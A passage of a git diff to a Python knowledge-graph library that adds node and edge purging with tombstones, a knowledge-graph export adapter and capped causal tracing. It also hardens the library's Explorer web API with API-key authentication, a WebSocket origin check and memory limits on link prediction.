purged_at, + "reason": reason, + } + if cascaded_from is not None: + node_record["cascaded_from"] = cascaded_from + self._tombstones[("node", target)] = node_record + self._retractions.pop(("node", target), None) + purged_nodes.append((target, dict(node_record))) + + for edge_id, payload in purged_edges: + self._emit_mutation("REMOVE_EDGE", edge_id, payload) + for purged_id, payload in purged_nodes: + self._emit_mutation("REMOVE_NODE", purged_id, payload) + self.logger.info( + "Purged node %r (cascaded %d edge(s), %d node(s))", + node_id, + len(purged_edges), + len(purged_nodes) - 1, + ) + return True + + def purge_edge( + self, + edge_id: str, + reason: Optional[str] = None, + at: Optional[Union[str, datetime]] = None, + ) -> bool: + """Permanently remove a single edge, leaving its endpoints in place. + + If the edge is the bridge of a cross-graph link, the link is also + deregistered -- :meth:`navigate_to` should not keep resolving a link + whose bridge is gone. The marker node itself is an endpoint and is left + in place; purge it directly, or purge the link's source node, to remove + it too. + + Args: + edge_id: Edge to purge. + reason: Why it was purged. + at: When the purge takes effect, recorded as the tombstone's + ``purged_at``. Defaults to now, UTC. + + Returns: + True if the edge was purged; False if it does not exist. + + Note: + ``edge_id`` is content-derived and not guaranteed unique (#922): + two distinct edge objects can share one id. Every edge matching + ``edge_id`` is dropped under a single tombstone, so a duplicate + can never be left live in the graph while the tombstone claims + the edge is gone. + """ + purged_at = ( + _normalize_temporal_input(at) or datetime.now(timezone.utc).isoformat() + ) + with self._lock: + edges = [e for e in self.edges if e.edge_id == edge_id] + if not edges: + self.logger.warning("Cannot purge unknown edge: %r", edge_id) + return False + for edge in edges: + self._drop_edge_from_indexes(edge) + link_id = (edge.metadata or {}).get("link_id") + if (edge.metadata or {}).get("cross_graph") and link_id: + self._linked_graphs.pop(link_id, None) + self._unresolved_links.pop(link_id, None) + self._retractions.pop(("edge", edge_id), None) + record = { + "entity_id": edge_id, + "entity_kind": "edge", + "purged_at": purged_at, + "reason": reason, + } + self._tombstones[("edge", edge_id)] = record + payload = dict(record) + + self._emit_mutation("REMOVE_EDGE", edge_id, payload) + self.logger.info( + "Purged edge %r (%d underlying record(s))", edge_id, len(edges) + ) + return True + + def get_retraction( + self, entity_id: str, entity_kind: Optional[str] = None + ) -> Optional[Dict[str, Any]]: + """Return the retraction record for a node or edge, or None. + + Args: + entity_id: Node id or edge id. + entity_kind: ``"node"`` or ``"edge"``. Records are keyed by kind as + well as id, so pass this when a node id and an edge id could + collide; without it a node record is preferred over an edge one. + """ + with self._lock: + return self._find_removal_record(self._retractions, entity_id, entity_kind) + + def get_tombstone( + self, entity_id: str, entity_kind: Optional[str] = None + ) -> Optional[Dict[str, Any]]: + """Return the purge tombstone for a node or edge, or None. + + The tombstone records that a purge happened, when, and why. It never + contains the purged content. + + Args: + entity_id: Node id or edge id. + entity_kind: ``"node"`` or ``"edge"``; disambiguates a node id that + collides with an edge id, as for :meth:`get_retraction`. + """ + with self._lock: + return self._find_removal_record(self._tombstones, entity_id, entity_kind) + + def list_retractions(self) -> List[Dict[str, Any]]: + """Return every retraction record.""" + with self._lock: + return [dict(record) for record in self._retractions.values()] + + def list_tombstones(self) -> List[Dict[str, Any]]: + """Return every purge tombstone.""" + with self._lock: + return [dict(record) for record in self._tombstones.values()] + def clear(self) -> None: """Fully reset the graph state and indexes.""" with self._lock: self.nodes.clear() self.edges.clear() + self._edge_index.clear() self._adjacency.clear() self.node_type_index.clear() self.edge_type_index.clear() self._linked_graphs.clear() self._unresolved_links.clear() + self._retractions.clear() + self._tombstones.clear() self.logger.debug("Graph state fully cleared.") # --- Internal Helpers --- @@ -1508,6 +1998,11 @@ class ContextGraph: self.logger.warning("Skipping internal edge with invalid endpoints: %r", edge) return False with self._lock: + # Edge identity is content-derived, so an existing edge_id means this + # exact edge is already stored; re-adding it is a no-op (issue #922). + if edge.edge_id in self._edge_index: + return False + # Ensure nodes exist if edge.source_id not in self.nodes: self._add_internal_node( @@ -1518,6 +2013,7 @@ class ContextGraph: ContextNode(edge.target_id, "entity", edge.target_id) ) + self._edge_index[edge.edge_id] = edge self.edges.append(edge) self.edge_type_index[edge.edge_type].append(edge) self._adjacency[edge.source_id].append(edge) @@ -1533,6 +2029,147 @@ class ContextGraph: ) return True + def _emit_mutation( + self, operation: str, entity_id: str, payload: Dict[str, Any] + ) -> None: + """Fire the audit-trail callback, mirroring the add paths. + + Kept in one place so retraction and purge record themselves the same + way ``_add_internal_node``/``_add_internal_edge`` already do, including + the ``_suspend_mutation_callback`` guard used during restores. + """ + if not getattr(self, "mutation_callback", None): + return + if getattr(self, "_suspend_mutation_callback", False): + return + try: + self.mutation_callback(operation, entity_id, payload) + except Exception as e: + self.logger.warning( + f"Audit trail callback failed for {operation} {entity_id}: {e}" + ) + + def _incident_edges(self, node_id: str) -> List[ContextEdge]: + """Every edge touching ``node_id``, in either direction. + + ``_adjacency`` is keyed by source only, so incoming edges have to come + from a scan of ``self.edges``; relying on ``_adjacency`` alone would + silently leave inbound edges pointing at a removed node. + """ + return [ + edge + for edge in self.edges + if edge.source_id == node_id or edge.target_id == node_id + ] + + @staticmethod + def _find_removal_record( + store: Dict[Tuple[str, str], Dict[str, Any]], + entity_id: str, + entity_kind: Optional[str], + ) -> Optional[Dict[str, Any]]: + """Look a retraction/tombstone up by id, optionally narrowed by kind. + + The caller must hold ``self._lock``. Records are keyed by + ``(entity_kind, entity_id)``; with no kind given, both keyspaces are + tried so callers that know an id is unambiguous can pass it alone. + """ + if entity_kind is not None: + if entity_kind not in ("node", "edge"): + raise ValueError( + f"entity_kind must be 'node', 'edge' or None, got {entity_kind!r}" + ) + kinds: Tuple[str, ...] = (entity_kind,) + else: + kinds = ("node", "edge") + for kind in kinds: + record = store.get((kind, entity_id)) + if record is not None: + return dict(record) + return None + + def _cross_graph_links_for(self, node_id: str) -> List[str]: + """Link ids that ``node_id`` participates in, as exit point or marker. + + The caller must hold ``self._lock``. :meth:`link_graph` registers a link + in three places -- ``_linked_graphs``, a marker node and the bridge edge + -- so removing only the node would leave :meth:`navigate_to` resolving a + link whose source is gone. + """ + link_ids = [ + link_id + for link_id, (_, source_node_id, _) in self._linked_graphs.items() + if source_node_id == node_id + ] + link_ids.extend( + link_id + for link_id, meta in self._unresolved_links.items() + if meta.get("source_node_id") == node_id + ) + node = self.nodes.get(node_id) + metadata = getattr(node, "metadata", None) or {} + if metadata.get("cross_graph") and metadata.get("link_id"): + link_ids.append(metadata["link_id"]) + return list(dict.fromkeys(link_ids)) + + def _cross_graph_marker_nodes(self, node_id: str) -> List[str]: + """Marker nodes of the cross-graph links ``node_id`` exits through. + + The caller must hold ``self._lock``. + """ + return [ + marker_id + for marker_id in ( + f"__cross_graph_{link_id}" + for link_id in self._cross_graph_links_for(node_id) + ) + if marker_id != node_id and marker_id in self.nodes + ] + + def _drop_node_from_indexes(self, node_id: str) -> None: + """Remove one node from ``nodes``, ``node_type_index`` and ``_adjacency``. + + The caller must hold ``self._lock``. Incident edges are not touched -- + see :meth:`_drop_edge_from_indexes`. + """ + node = self.nodes.pop(node_id, None) + if node is None: + return + bucket = self.node_type_index.get(node.node_type) + if bucket is not None: + bucket.discard(node_id) + if not bucket: + del self.node_type_index[node.node_type] + self._adjacency.pop(node_id, None) + + def _drop_edge_from_indexes(self, edge: ContextEdge) -> None: + """Remove one edge from every structure that references it. + + The caller must hold ``self._lock``. ``edges``, ``edge_type_index`` and + ``_adjacency`` must be updated together or the indexes drift out of + step with the edge list. + """ + try: + self.edges.remove(edge) + except ValueError: + pass + bucket = self.edge_type_index.get(edge.edge_type) + if bucket is not None: + try: + bucket.remove(edge) + except ValueError: + pass + if not bucket: + del self.edge_type_index[edge.edge_type] + adjacent = self._adjacency.get(edge.source_id) + if adjacent is not None: + try: + adjacent.remove(edge) + except ValueError: + pass + if not adjacent: + del self._adjacency[edge.source_id] + # --- Builder Methods (Legacy/Utility) --- def build_from_conversations( @@ -1769,47 +2406,139 @@ class ContextGraph: def to_dict(self) -> Dict[str, Any]: """Export graph to dictionary format.""" - nodes_out = [] - for n in self.nodes.values(): - entry: Dict[str, Any] = { - "id": n.node_id, - "type": n.node_type, - "content": n.content, - "properties": n.properties, - "metadata": n.metadata, - } - if n.valid_from is not None: - entry["valid_from"] = n.valid_from - if n.valid_until is not None: - entry["valid_until"] = n.valid_until - nodes_out.append(entry) + with self._lock: + nodes_out = [] + for n in self.nodes.values(): + entry: Dict[str, Any] = { + "id": n.node_id, + "type": n.node_type, + "content": n.content, + "properties": n.properties, + "metadata": n.metadata, + } + if n.valid_from is not None: + entry["valid_from"] = n.valid_from + if n.valid_until is not None: + entry["valid_until"] = n.valid_until + nodes_out.append(entry) - edges_out = [] - for e in self.edges: - entry = { - "id": e.edge_id, - "familyId": e.family_id or e.edge_id, - "source": e.source_id, - "target": e.target_id, - "type": e.edge_type, - "weight": e.weight, - } - if e.metadata: - entry["metadata"] = e.metadata - if e.valid_from is not None: - entry["valid_from"] = e.valid_from - if e.valid_until is not None: - entry["valid_until"] = e.valid_until - edges_out.append(entry) + edges_out = [] + for e in self.edges: + entry = { + "id": e.edge_id, + "familyId": e.family_id or e.edge_id, + "source": e.source_id, + "target": e.target_id, + "type": e.edge_type, + "weight": e.weight, + } + if e.metadata: + entry["metadata"] = e.metadata + if e.valid_from is not None: + entry["valid_from"] = e.valid_from + if e.valid_until is not None: + entry["valid_until"] = e.valid_until + edges_out.append(entry) - return { - "nodes": nodes_out, - "edges": edges_out, - "statistics": { - "node_count": len(self.nodes), - "edge_count": len(self.edges), - }, - } + return { + "nodes": nodes_out, + "edges": edges_out, + "statistics": { + "node_count": len(self.nodes), + "edge_count": len(self.edges), + }, + } + + def to_kg_dict(self, entities_only: bool = False) -> Dict[str, Any]: + """Export graph in the canonical knowledge-graph shape. + + This is the official adapter that converts the ContextGraph's internal + ``{"nodes", "edges"}`` / ``source`` representation into the + ``{"entities", "relationships"}`` / ``source_id`` shape expected by + downstream consumers such as + :class:`~semantica.export.rdf_exporter.RDFExporter` and + :meth:`~semantica.kg.temporal_query.TemporalGraphQuery.query_time_range`. + + Users no longer need to hand-map field names between APIs. + + Args: + entities_only: If True, only nodes whose ``node_type`` is + ``"entity"`` are exported as entities. When False (default), + every node is exported. Relationships whose endpoints are not + in the exported entity set are dropped to avoid dangling + references in downstream consumers. + + Returns: + dict: A knowledge-graph dictionary with: + - ``entities``: list of ``{"id", "text", "type", "properties", + "metadata"}`` (plus ``valid_from`` / ``valid_until`` when set) + - ``relationships``: list of ``{"source_id", "target_id", + "type", "weight", "id", "familyId"}`` (plus ``metadata`` and + ``valid_from`` / ``valid_until`` when set) + - ``statistics``: ``{"entity_count", "relationship_count"}`` + """ + with self._lock: + entities_out = [] + for n in self.nodes.values(): + if entities_only and n.node_type != "entity": + continue + # Normalize the entity id to ``str`` so it matches ContextEdge, + # which coerces its endpoints to ``str`` in ``__post_init__``. + # Without this, non-string node ids (e.g. numeric ids loaded via + # ``from_dict``) would fail the ``valid_ids`` membership check + # below and silently drop otherwise-valid relationships. + entity_id = str(n.node_id) + entity: Dict[str, Any] = { + "id": entity_id, + "text": n.content, + "type": n.node_type, + # ``properties`` / ``metadata`` may be ``None`` when a node + # was loaded from JSON containing an explicit ``null``; + # guard with ``or {}`` so ``dict(...)`` never raises. + "properties": dict(n.properties or {}), + "metadata": dict(n.metadata or {}), + } + if n.valid_from is not None: + entity["valid_from"] = n.valid_from + if n.valid_until is not None: + entity["valid_until"] = n.valid_until + entities_out.append(entity) + + # When only entity nodes are exported, drop relationships whose + # endpoints were filtered out so downstream consumers never see a + # source_id/target_id that is absent from ``entities``. + valid_ids = {e["id"] for e in entities_out} if entities_only else None + + relationships_out = [] + for e in self.edges: + if valid_ids is not None and ( + e.source_id not in valid_ids or e.target_id not in valid_ids + ): + continue + rel: Dict[str, Any] = { + "id": e.edge_id, + "familyId": e.family_id or e.edge_id, + "source_id": e.source_id, + "target_id": e.target_id, + "type": e.edge_type, + "weight": e.weight, + } + if e.metadata: + rel["metadata"] = dict(e.metadata) + if e.valid_from is not None: + rel["valid_from"] = e.valid_from + if e.valid_until is not None: + rel["valid_until"] = e.valid_until + relationships_out.append(rel) + + return { + "entities": entities_out, + "relationships": relationships_out, + "statistics": { + "entity_count": len(entities_out), + "relationship_count": len(relationships_out), + }, + } def from_dict(self, graph_dict: Dict[str, Any]) -> None: """Load graph from dictionary format.""" @@ -2698,11 +3427,20 @@ class ContextGraph: direct_influence.discard(decision_id) direct_influence.update(self._decision_index.get(decision["category"], set())) direct_influence.discard(decision_id) + + # Explicit causal relationships recorded via add_causal_relationship() are + # ground truth and always count as direct influence, in either direction. + for edge_type in _CAUSAL_EDGE_TYPES: + for edge in self.edge_type_index.get(edge_type, []): + if edge.source_id == decision_id and edge.target_id in self._decisions: + direct_influence.add(edge.target_id) + elif edge.target_id == decision_id and edge.source_id in self._decisions: + direct_influence.add(edge.source_id) # Indirect influence (through graph relationships) indirect_influence = set() if include_indirect and self.config.get("advanced_analytics"): - indirect_influence = self._find_indirect_decision_influence(decision_id, max_depth) + indirect_influence = self._find_indirect_decision_influence(decision_id, max_depth) - direct_influence # Calculate influence scores influence_scores = {} @@ -2806,42 +3544,106 @@ class ContextGraph: def trace_decision_causality( self, decision_id: str, - max_depth: int = 5 + max_depth: int = 5, + max_chains: Optional[int] = 10000 ) -> List[Dict[str, Any]]: """ Trace causal chain for a decision. - + Args: decision_id: Decision to trace max_depth: Maximum depth for causal analysis - + max_chains: Maximum number of chains to return. Densely connected + graphs can contain a combinatorial number of distinct causal + paths, so the traversal stops once this many chains have been + collected and appends a ``{"truncated": True, ...}`` marker so + callers can tell the trace is incomplete. Pass None for no limit. + Returns: Causal chain as list of decision relationships """ if not hasattr(self, '_decisions') or decision_id not in self._decisions: raise ValueError(f"Decision {decision_id} not found") - + try: # Use graph traversal to find causal relationships causal_chain = [] - visited = set() - - def trace_recursive(current_id, depth, path): - if depth >= max_depth or current_id in visited: + chain_limit = float("inf") if max_chains is None else max_chains + truncated = False + + # Reverse index of explicit causal edges, built once per call so the + # traversal does not rescan the edge list at every visited node. + # Edges may reference decision nodes that were never recorded through + # record_decision() (e.g. a graph restored via from_dict), so only + # causes with a known decision record are kept. + incoming_causal_edges = defaultdict(list) + for edge_type in _CAUSAL_EDGE_TYPES: + for edge in self.edge_type_index.get(edge_type, []): + if edge.source_id in self._decisions: + incoming_causal_edges[edge.target_id].append(edge) + + def record_chain(cause_path): + """Record one chain. Returns False once the cap is reached.""" + nonlocal truncated + if len(causal_chain) >= chain_limit: + truncated = True + return False + causal_chain.append( + self._build_causal_chain_report(list(reversed(cause_path))) + ) + return True + + def trace_recursive(current_id, depth, path, path_ids): + # Cycle detection is per-path rather than global: a decision reached + # through one branch must stay traversable through another, otherwise + # branching graphs silently lose valid chains. max_depth bounds the + # traversal. + if truncated or depth >= max_depth or current_id in path_ids: return - - visited.add(current_id) + + path_ids = path_ids | {current_id} current_decision = self._decisions[current_id] - - # Find potential causes (decisions that influenced this one) + + # Explicit causal relationships recorded via add_causal_relationship() + # take precedence - they are the ground truth the caller recorded. + # Every edge is traced, so parallel relationships between the same + # pair of decisions are all reported rather than overwriting. + explicit_causes = incoming_causal_edges.get(current_id, []) + explicit_cause_ids = {edge.source_id for edge in explicit_causes} + + for edge in explicit_causes: + cause_id = edge.source_id + cause_dec = self._decisions[cause_id] + weight = getattr(edge, "weight", None) + # A stored weight of 0.0 is meaningful and must not be coerced + # to the 1.0 default. + edge_weight = 1.0 if weight is None else float(weight) + hop = { + "from": cause_id, + "from_scenario": cause_dec.get("scenario", ""), + "to": current_id, + "to_scenario": current_decision.get("scenario", ""), + "type": edge.edge_type, + "edge_weight": edge_weight, + } + cause_path = path + [hop] + if not record_chain(cause_path): + return + trace_recursive(cause_id, depth + 1, cause_path, path_ids) + if truncated: + return + + # Find potential causes (decisions that influenced this one) via + # shared entities/timestamps - additive heuristic, skipping anything + # already covered by an explicit relationship above. potential_causes = [] for entity in current_decision["entities"]: for other_decision_id in self._entity_index.get(entity, set()): - if other_decision_id != current_id: + if other_decision_id != current_id and other_decision_id not in explicit_cause_ids: other_decision = self._decisions[other_decision_id] if other_decision["timestamp"] < current_decision["timestamp"]: potential_causes.append(other_decision_id) - + for cause_id in potential_causes: cause_dec = self._decisions.get(cause_id, {}) edge_weight = float(cause_dec.get("confidence", 1.0)) @@ -2854,10 +3656,32 @@ class ContextGraph: "edge_weight": edge_weight, } cause_path = path + [hop] - causal_chain.append(self._build_causal_chain_report(list(reversed(cause_path)))) - trace_recursive(cause_id, depth + 1, cause_path) - - trace_recursive(decision_id, 0, []) + if not record_chain(cause_path): + return + trace_recursive(cause_id, depth + 1, cause_path, path_ids) + if truncated: + return + + trace_recursive(decision_id, 0, [], frozenset()) + + if truncated: + # Never drop chains silently: the caller is told the trace is partial. + self.logger.warning( + "Causal trace for %s truncated at %s chains; " + "raise max_chains or lower max_depth for a complete trace.", + decision_id, + max_chains, + ) + causal_chain.append({ + "truncated": True, + "max_chains": max_chains, + "message": ( + f"Causal trace truncated at {max_chains} chains. " + "The result is incomplete; raise max_chains or lower " + "max_depth for a complete trace." + ), + }) + return causal_chain except Exception as e: @@ -3326,21 +4150,25 @@ class ContextGraph: def trace_decision_chain( self, decision_id: str, - max_steps: int = 5 + max_steps: int = 5, + max_chains: Optional[int] = 10000 ) -> List[Dict[str, Any]]: """ Easy way to trace how decisions are connected. - + Args: decision_id: Starting decision max_steps: Maximum steps to trace - + max_chains: Maximum number of chains to return; see + trace_decision_causality(). Pass None for no limit. + Returns: Decision chain connections """ return self.trace_decision_causality( decision_id=decision_id, - max_depth=max_steps + max_depth=max_steps, + max_chains=max_chains ) def check_decision_rules( diff --git a/semantica/deduplication/entity_merger.py b/semantica/deduplication/entity_merger.py index b19447cd..6552f8cd 100644 --- a/semantica/deduplication/entity_merger.py +++ b/semantica/deduplication/entity_merger.py @@ -45,6 +45,7 @@ License: MIT from dataclasses import dataclass from typing import Any, Dict, List, Optional, Union +from ..utils.entity_ids import get_entity_id from ..utils.exceptions import ProcessingError, ValidationError from ..utils.logging import get_logger from ..utils.progress_tracker import get_progress_tracker @@ -504,7 +505,7 @@ class EntityMerger: # Record source entities provenance["merged_from"] = [ { - "id": self._get_entity_value(e, "id"), + "id": get_entity_id(e), "name": self._get_entity_value(e, "name"), "source": self._get_entity_value(e, "metadata", {}).get("source") if hasattr(e, "metadata") or isinstance(e, dict) else None, } diff --git a/semantica/deduplication/merge_strategy.py b/semantica/deduplication/merge_strategy.py index b5c2b29e..610aecb2 100644 --- a/semantica/deduplication/merge_strategy.py +++ b/semantica/deduplication/merge_strategy.py @@ -45,6 +45,7 @@ from dataclasses import dataclass, field from enum import Enum from typing import Any, Callable, Dict, List, Optional, Tuple, Union +from ..utils.entity_ids import get_entity_id from ..utils.exceptions import ProcessingError, ValidationError from ..utils.logging import get_logger from ..utils.progress_tracker import get_progress_tracker @@ -317,14 +318,20 @@ class MergeStrategyManager: message=f"Building merged entity... ({current_step}/{total_steps}, remaining: {remaining_steps} steps)" ) # Build merged entity + merged_from = [] + for entity in entities: + entity_id = get_entity_id(entity) + if entity_id is not None: + merged_from.append(entity_id) + merged_entity = { - "id": base_entity.get("id"), + "id": get_entity_id(base_entity), "name": self._merge_top_level_field("name", entities, base_entity), "type": self._merge_top_level_field("type", entities, base_entity), "properties": merged_properties, "relationships": merged_relationships, "metadata": self._merge_metadata(entities, base_entity), - "merged_from": [e.get("id") for e in entities if e.get("id")], + "merged_from": merged_from, "merge_strategy": strategy.value, } diff --git a/semantica/explorer/__init__.py b/semantica/explorer/__init__.py index 0445eb5f..f9a780fe 100644 --- a/semantica/explorer/__init__.py +++ b/semantica/explorer/__init__.py @@ -83,12 +83,22 @@ def main(argv=None): _LOOPBACK_HOSTS = {"127.0.0.1", "::1", "localhost"} if args.host not in _LOOPBACK_HOSTS: - _err.print( - f"[bold yellow]Warning:[/bold yellow] Binding to " - f"[cyan]{args.host}[/cyan] exposes the Explorer to the network. " - "The API has no authentication — all graph data will be readable " - "and writable by any host that can reach this port." - ) + import os as _os + if _os.environ.get("SEMANTICA_ALLOW_ANONYMOUS", "").strip().lower() == "true": + _err.print( + f"[bold yellow]Warning:[/bold yellow] Binding to " + f"[cyan]{args.host}[/cyan] with SEMANTICA_ALLOW_ANONYMOUS=true " + "exposes the Explorer to the network with no authentication — " + "all graph data will be readable and writable by any host that " + "can reach this port." + ) + elif not _os.environ.get("SEMANTICA_API_KEY"): + _err.print( + f"[bold yellow]Warning:[/bold yellow] Binding to " + f"[cyan]{args.host}[/cyan] but SEMANTICA_API_KEY is not set — " + "protected routes will refuse all requests (503) until it is " + "configured." + ) if not args.no_browser: import threading diff --git a/semantica/explorer/app.py b/semantica/explorer/app.py index c214021a..bd9ab042 100644 --- a/semantica/explorer/app.py +++ b/semantica/explorer/app.py @@ -8,13 +8,14 @@ from contextlib import asynccontextmanager from pathlib import Path from typing import Optional -from fastapi import FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect +from fastapi import Depends, FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect from fastapi.middleware.cors import CORSMiddleware from fastapi.responses import FileResponse, HTMLResponse, JSONResponse from fastapi.staticfiles import StaticFiles from .. import __version__ from ..context.context_graph import ContextGraph +from .dependencies import anonymous_access_allowed, get_expected_api_key, is_valid_api_key, require_auth from .session import GraphSession from .ws import ConnectionManager @@ -97,6 +98,22 @@ def create_app( @asynccontextmanager async def lifespan(app: FastAPI): + import logging as _lifespan_logging + _lifespan_logger = _lifespan_logging.getLogger(__name__) + if anonymous_access_allowed(): + _lifespan_logger.warning( + "Explorer is running with SEMANTICA_ALLOW_ANONYMOUS=true — " + "all API routes are unauthenticated. Do not expose this " + "process beyond localhost." + ) + elif get_expected_api_key(): + _lifespan_logger.info("Explorer API authentication: enabled (SEMANTICA_API_KEY set).") + else: + _lifespan_logger.warning( + "Explorer API authentication: NOT CONFIGURED. All protected " + "routes will return 503 until SEMANTICA_API_KEY is set." + ) + app.state.event_loop = asyncio.get_running_loop() app.state.ws_manager = ConnectionManager() app.state.session = active_session @@ -113,17 +130,17 @@ def create_app( app.state.explorer_settings = settings # allow_credentials lets browsers send cookies/auth headers cross-origin. - # The Explorer has no authentication, so credentials serve no purpose and - # enabling them when origins are broadened creates cross-site request risk. - # Set EXPLORER_CORS_CREDENTIALS=true explicitly to opt in (e.g. for a - # reverse-proxy setup that injects its own auth layer). + # Credentials aren't needed for the X-API-Key auth scheme below, and + # enabling them when origins are broadened creates cross-site request + # risk. Set EXPLORER_CORS_CREDENTIALS=true explicitly to opt in (e.g. + # for a reverse-proxy setup that injects its own cookie-based auth). _allow_credentials = os.environ.get("EXPLORER_CORS_CREDENTIALS", "false").lower() == "true" app.add_middleware( CORSMiddleware, allow_origins=settings["allowed_origins"], allow_credentials=_allow_credentials, allow_methods=["GET", "POST", "DELETE", "OPTIONS"], - allow_headers=["Content-Type", "Authorization"], + allow_headers=["Content-Type", "Authorization", "X-API-Key"], max_age=600, ) @@ -159,22 +176,48 @@ def create_app( from .routes.temporal import router as temporal_router from .routes.vocabulary import router as vocabulary_router - app.include_router(graph_router) - app.include_router(analytics_router) - app.include_router(decisions_router) - app.include_router(temporal_router) - app.include_router(enrich_router) - app.include_router(export_import_router) - app.include_router(annotations_router) - app.include_router(sparql_router) - app.include_router(provenance_router) - app.include_router(vocabulary_router) - app.include_router(ontology_router) + _auth = [Depends(require_auth)] + app.include_router(graph_router, dependencies=_auth) + app.include_router(analytics_router, dependencies=_auth) + app.include_router(decisions_router, dependencies=_auth) + app.include_router(temporal_router, dependencies=_auth) + app.include_router(enrich_router, dependencies=_auth) + app.include_router(export_import_router, dependencies=_auth) + app.include_router(annotations_router, dependencies=_auth) + app.include_router(sparql_router, dependencies=_auth) + app.include_router(provenance_router, dependencies=_auth) + app.include_router(vocabulary_router, dependencies=_auth) + app.include_router(ontology_router, dependencies=_auth) _WS_MAX_MESSAGE_BYTES = 64 * 1024 # 64 KB — control messages only @app.websocket("/ws/graph-updates") async def websocket_endpoint(websocket: WebSocket): + # CORSMiddleware doesn't cover WebSocket handshakes (Starlette's + # CORS support only wraps HTTP), so under SEMANTICA_ALLOW_ANONYMOUS + # the key check below accepts any origin — loopback binding isn't a + # boundary against a browser, since any page the operator has open + # can still reach ws://localhost:.../ws/graph-updates directly. + # Reject a foreign Origin explicitly here, against the same + # allowlist CORSMiddleware already enforces for HTTP + # (GHSA-4643-wpgq-w329). Browsers always send Origin on a + # cross-origin WebSocket handshake; native/CLI clients omit it + # entirely, so a missing Origin is allowed through — the browser is + # the only threat this check is closing. + origin = websocket.headers.get("origin") + allowed_origins = app.state.explorer_settings["allowed_origins"] + if origin is not None and origin not in allowed_origins: + await websocket.close(code=4403) # forbidden + return + + # Browsers can't set custom headers on a WebSocket handshake, so + # accept the key via header (non-browser clients) or query param + # (browser clients), same SEMANTICA_API_KEY the REST routes check. + candidate = websocket.headers.get("x-api-key") or websocket.query_params.get("api_key") + if not is_valid_api_key(candidate): + await websocket.close(code=4401) # unauthorized + return + manager: ConnectionManager = app.state.ws_manager await manager.connect(websocket) await manager.send_personal(websocket, "connection_ack", {"connected": True}) diff --git a/semantica/explorer/dependencies.py b/semantica/explorer/dependencies.py index 44cbc6d8..7a97faeb 100644 --- a/semantica/explorer/dependencies.py +++ b/semantica/explorer/dependencies.py @@ -2,14 +2,75 @@ Semantica Explorer : FastAPI Dependencies Provides ``Depends()``-compatible callables for injecting the -current ``GraphSession`` and ``ConnectionManager`` into route handlers. +current ``GraphSession`` and ``ConnectionManager`` into route handlers, +and for enforcing API-key authentication on protected routes. """ -from fastapi import Request, HTTPException, status +import hmac +import os +from typing import Optional + +from fastapi import Request, HTTPException, Security, status +from fastapi.security.api_key import APIKeyHeader from .session import GraphSession from .ws import ConnectionManager +_api_key_header = APIKeyHeader(name="X-API-Key", auto_error=False) + + +def get_expected_api_key() -> Optional[str]: + """Read the configured API key from the environment on every call. + + Read fresh (not cached) so tests and ops tooling can rotate the key + without restarting the process. + """ + return os.environ.get("SEMANTICA_API_KEY") or None + + +def anonymous_access_allowed() -> bool: + return os.environ.get("SEMANTICA_ALLOW_ANONYMOUS", "").strip().lower() == "true" + + +def is_valid_api_key(candidate: Optional[str]) -> bool: + """Return True if *candidate* matches the configured key, or if the + server has explicitly opted into anonymous access.""" + if anonymous_access_allowed(): + return True + expected = get_expected_api_key() + if not expected: + return False + return bool(candidate) and hmac.compare_digest(candidate, expected) + + +def require_auth(api_key: Optional[str] = Security(_api_key_header)) -> None: + """Dependency enforcing the ``X-API-Key`` header on protected routes. + + Every Explorer/API router (except health/info/static assets) should be + mounted with ``dependencies=[Depends(require_auth)]``. If + SEMANTICA_API_KEY is unset, requests are refused with 503 rather than + silently served unauthenticated — SEMANTICA_ALLOW_ANONYMOUS=true opts + into that explicitly for local development. + """ + if anonymous_access_allowed(): + return + expected = get_expected_api_key() + if not expected: + raise HTTPException( + status_code=status.HTTP_503_SERVICE_UNAVAILABLE, + detail=( + "Server is not configured for authentication. Set the " + "SEMANTICA_API_KEY environment variable, or explicitly opt " + "into unauthenticated access (development only) with " + "SEMANTICA_ALLOW_ANONYMOUS=true." + ), + ) + if not api_key or not hmac.compare_digest(api_key, expected): + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Invalid or missing API key. Send it as the X-API-Key header.", + ) + def get_session(request: Request) -> GraphSession: """Retrieve the GraphSession stored on ``app.state``.""" diff --git a/semantica/explorer/routes/enrich.py b/semantica/explorer/routes/enrich.py index e6498d9c..8e935e75 100644 --- a/semantica/explorer/routes/enrich.py +++ b/semantica/explorer/routes/enrich.py @@ -1,4 +1,4 @@ -""" +""" Enrichment and reasoning routes. """ @@ -26,6 +26,23 @@ from ..session import GraphSession router = APIRouter(tags=["Enrichment"]) _FACT_RE = re.compile(r"^(?P[A-Za-z_][\w:-]*)\((?P.*)\)$") +# SECURITY: Cap the candidate pool loaded by link prediction to prevent a +# single request from exhausting server memory (CWE-770). Without a cap the +# endpoint calls session.get_nodes(limit=999_999) and scores every node in +# O(N^2), consuming ~1.6 GB RAM at the maximum limit (measured via +# tracemalloc at 1.7 KB/node with 128-dim embeddings; see poc_runner.py). +# Mirrors the SPARQL DoS fix from PR #898 (50k cap + semaphore). +# +# NOTE: session.get_nodes()/get_edges() (paginate_nodes/paginate_edges) +# normalize the *entire* matching set before applying `limit` -- passing +# limit=_LINK_PREDICTION_MAX_NODES does not bound that work. The `total` +# they return can only be checked *after* paying that full cost. To actually +# reject an oversized graph before doing that work, check session.get_raw_counts() +# (O(1) collection lengths) first -- see predict_links() below. +_LINK_PREDICTION_MAX_NODES = 10_000 +_LINK_PREDICTION_MAX_EDGES = 50_000 +_link_prediction_semaphore = asyncio.Semaphore(2) + def _safe_dict(obj) -> dict: if isinstance(obj, dict): @@ -159,26 +176,30 @@ async def extract_entities( session: GraphSession = Depends(get_session), ): try: - from ...semantic_extract.methods import extract_entities as _extract_entities - from ...semantic_extract.methods import extract_relations as _extract_relations - - entities = await asyncio.to_thread(_extract_entities, body.text) - relations = await asyncio.to_thread(_extract_relations, body.text) - - ent_list = entities if isinstance(entities, list) else getattr(entities, "entities", []) - rel_list = relations if isinstance(relations, list) else getattr(relations, "relations", []) - - return EnrichExtractResponse( - entities=[_safe_dict(entity) for entity in ent_list], - relations=[_safe_dict(relation) for relation in rel_list], - ) + from ...semantic_extract import NamedEntityRecognizer, RelationExtractor except ImportError: raise HTTPException( status_code=503, detail="semantic_extract module not available. Ensure spacy and transformers are installed.", ) - except Exception as exc: - raise HTTPException(status_code=422, detail=f"Extraction failed: {exc}") + + recognizer = NamedEntityRecognizer(confidence_threshold=0.7) + extractor = 